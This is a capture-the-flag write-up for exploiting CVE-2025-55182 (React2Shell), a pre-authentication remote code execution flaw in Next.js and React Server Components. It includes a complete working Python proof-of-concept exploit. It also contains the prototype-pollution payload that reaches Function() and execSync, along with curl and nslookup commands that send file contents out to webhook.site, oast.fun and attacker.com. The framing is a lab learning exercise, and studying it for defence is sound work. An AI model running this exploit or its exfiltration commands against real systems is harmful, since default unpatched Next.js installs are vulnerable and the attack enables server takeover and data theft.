HackingHub — 2026.01.30

React2Shell: Pre-Auth RCE in React Server Components (CVE-2025-55182)

HackingHub Prototype Pollution to RCE (RSC Flight protocol) hard

Overview

  • Platform: HackingHub
  • Vulnerability: Remote Code Execution via Prototype Pollution in React Server Components Flight Protocol (CVE-2025-55182)
  • Key Technique: Prototype chain traversal + fake chunk injection to reach Function constructor
  • Result: Flag extracted via DNS exfiltration

Objective

Exploit CVE-2025-55182 in a vulnerable Next.js application to achieve RCE and extract the flag.

Initial Access

# Target Application
URL: https://tbc.ctf/  # (actual: tc4y0a0n6nd1.ctfhub.io)

# No authentication required - pre-auth RCE

Key Findings

  1. Pre-Auth RCE (CVSS 10.0) - No authentication required, exploitable with single HTTP request (CWE-502, CWE-1321)
  2. Flight Protocol Deserialization Flaw - Missing hasOwnProperty check allows prototype chain traversal
  3. Blind Execution - Production mode strips error details, no command output in response
  4. HTTP Egress Blocked - Outbound HTTP/HTTPS blocked, but DNS allowed

Attack Chain Visualization

┌─────────────────────┐     ┌──────────────────┐     ┌─────────────────────┐
│  Multipart POST     │────▶│  Prototype Chain │────▶│  Fake Chunk         │
│  with Next-Action   │     │  Traversal       │     │  Injection          │
│  header             │     │  $1:__proto__:then│    │  status:resolved    │
└─────────────────────┘     └──────────────────┘     └─────────────────────┘
                                                                │
                                                                ▼
┌─────────────────────┐     ┌──────────────────┐     ┌─────────────────────┐
│   Flag Extracted    │◀────│   DNS Exfil      │◀────│  Function() RCE     │
│   via nslookup      │     │   base64 encoded │     │  child_process      │
│   interactsh/oast   │     │   in subdomain   │     │  execSync()         │
└─────────────────────┘     └──────────────────┘     └─────────────────────┘

Exploitation Path

Step 1: Identify Vulnerable Target

Confirm Next.js with RSC (React Server Components) enabled:

# Look for Flight protocol indicators in response
curl -s https://tc4y0a0n6nd1.ctfhub.io/ | grep -i "next"
# Response contains Next.js markers and RSC Flight data

Step 2: Understand the Exploit Payload

The exploit abuses the Flight protocol’s reference system:

crafted_chunk = {
    "then": "$1:__proto__:then",      # Traverse to Chunk.prototype.then
    "status": "resolved_model",        # Fake legitimate chunk status
    "reason": -1,
    "value": '{"then": "$B0"}',        # Trigger $B handler (blob)
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('COMMAND');",
        "_formData": {
            "get": "$1:constructor:constructor",  # Reach Function constructor
        },
    },
}

Key components:

  • $1:__proto__:then - Prototype chain traversal to hijack Promise resolution
  • $1:constructor:constructor - Access JavaScript’s Function constructor
  • _prefix - Arbitrary code passed to Function() for execution
  • $B0 - Triggers blob handler that calls _formData.get(_prefix + obj)

Step 3: Test RCE with PoC Script

# poc.py
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}

try:
    res = requests.post(BASE_URL, files=files, headers=headers, timeout=30)
    print(res.status_code)
    print(res.text)
except requests.exceptions.ReadTimeout:
    print("[*] Request timed out - command may still have executed")

Step 4: Confirm Vulnerability

python3 poc.py https://tc4y0a0n6nd1.ctfhub.io/ "id"

# Response:
# 500
# 0:{"a":"$@1","f":"","b":"thyxrP8k4J__6Y1Z621Ow"}
# 1:E{"digest":"3382116339"}

Result: HTTP 500 with error digest confirms RCE - production mode hashes error output.

Step 5: Attempt HTTP Exfiltration (Failed)

# HTTP callback blocked
python3 poc.py https://tc4y0a0n6nd1.ctfhub.io/ 'curl https://webhook.site/UUID?f=$(cat /flag* | base64 -w0)'

# No callback received - egress filtering in place

Step 6: DNS Exfiltration (Success)

HTTP blocked but DNS allowed - classic misconfiguration:

# Using interactsh/oast.fun for DNS callback
python3 poc.py https://tc4y0a0n6nd1.ctfhub.io/ 'nslookup $(cat /flag* | base64 -w0).YOUR-ID.oast.fun'
;; opcode: QUERY, status: NOERROR, id: 51057
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2

;; QUESTION SECTION:
;ZmxhZ3s1Y2FlZGEzYTg4MjQzYjg2Zjc0ZWNhMmIzNmRiYjQ1ZH0=.cwdsldnfnogafobdognr2wswgk9gaiqp0.oast.fun.	IN	 AAAA

;; ANSWER SECTION:
ZmxhZ3s1Y2FlZGEzYTg4MjQzYjg2Zjc0ZWNhMmIzNmRiYjQ1ZH0=.cwdsldnfnogafobdognr2wswgk9gaiqp0.oast.fun.	3600	IN	A	206.189.156.69

;; AUTHORITY SECTION:
ZmxhZ3s1Y2FlZGEzYTg4MjQzYjg2Zjc0ZWNhMmIzNmRiYjQ1ZH0=.cwdsldnfnogafobdognr2wswgk9gaiqp0.oast.fun.	3600	IN	NS	ns1.oast.fun.
ZmxhZ3s1Y2FlZGEzYTg4MjQzYjg2Zjc0ZWNhMmIzNmRiYjQ1ZH0=.cwdsldnfnogafobdognr2wswgk9gaiqp0.oast.fun.	3600	IN	NS	ns2.oast.fun.

;; ADDITIONAL SECTION:
ns1.oast.fun.	3600	IN	A	206.189.156.69
ns2.oast.fun.	3600	IN	A	206.189.156.69

Result: Flag received as base64-encoded subdomain in DNS request.

Step 7: Decode Flag

echo "ZmxhZ3s1Y2FlZGEzYTg4MjQzYjg2Zjc0ZWNhMmIzNmRiYjQ1ZH0=" | base64 -d
# flag{5caeda3a88243b86f74eca2b36dbb45d}

Key Learnings

CVE-2025-55182 Exploit Mechanics

Component Purpose Value
then Prototype traversal $1:__proto__:then
status Fake chunk type resolved_model
value Stage 2 trigger {"then": "$B0"}
_formData.get Reach Function() $1:constructor:constructor
_prefix RCE payload child_process.execSync()

Why This Works

  1. Missing hasOwnProperty check - Flight deserializer doesn’t validate if keys exist on object vs prototype
  2. Prototype pollution - $1:__proto__:then reaches Chunk.prototype.then
  3. Self-reference trick - Fake chunk treated as real Chunk, enabling _response usage
  4. $B handler abuse - Blob handler calls response._formData.get(response._prefix + obj)
  5. Function constructor - constructor:constructor resolves to Function(), executing payload

Exfiltration Methods

Method Syntax When to Use
Error Digest Check response body Dev mode / verbose errors
HTTP Callback curl https://webhook.site/x?f=$(cmd) HTTP egress allowed
DNS Exfil nslookup $(cmd).attacker.com HTTP blocked, DNS open
Write to Webroot cat /flag > /app/public/x.txt When you can fetch static files

Pre-Auth RCE Indicators

  • Next-Action or rsc-action-id headers trigger Flight parsing
  • Exploitation occurs before action ID validation
  • Header value is arbitrary (Next-Action: x works)
  • Default create-next-app installations are vulnerable

Tools Used

  • Python requests - PoC exploit script
  • interactsh / oast.fun - DNS exfiltration callback
  • Burp Suite - Request analysis

References

  • React Advisory: https://github.com/facebook/react/security/advisories
  • CVE-2025-55182 Analysis (OffSec): https://www.offsec.com/blog/cve-2025-55182/
  • Exploit Research (msanft): https://github.com/msanft/CVE-2025-55182
  • React2Shell Repo: https://github.com/freeqaz/react2shell
  • Wiz Blog: https://www.wiz.io/blog/critical-vulnerability-in-react-cve-2025-55182
  • Datadog Analysis: https://securitylabs.datadoghq.com/articles/cve-2025-55182-react2shell-remote-code-execution-react-server-components/

Tags: #rce #cve-2025-55182 #react #nextjs #prototype-pollution #deserialization #dns-exfil #hackinghub

#rce #cve-2025-55182 #react #nextjs #prototype-pollution #deserialization #dns-exfil #hackinghub #webapp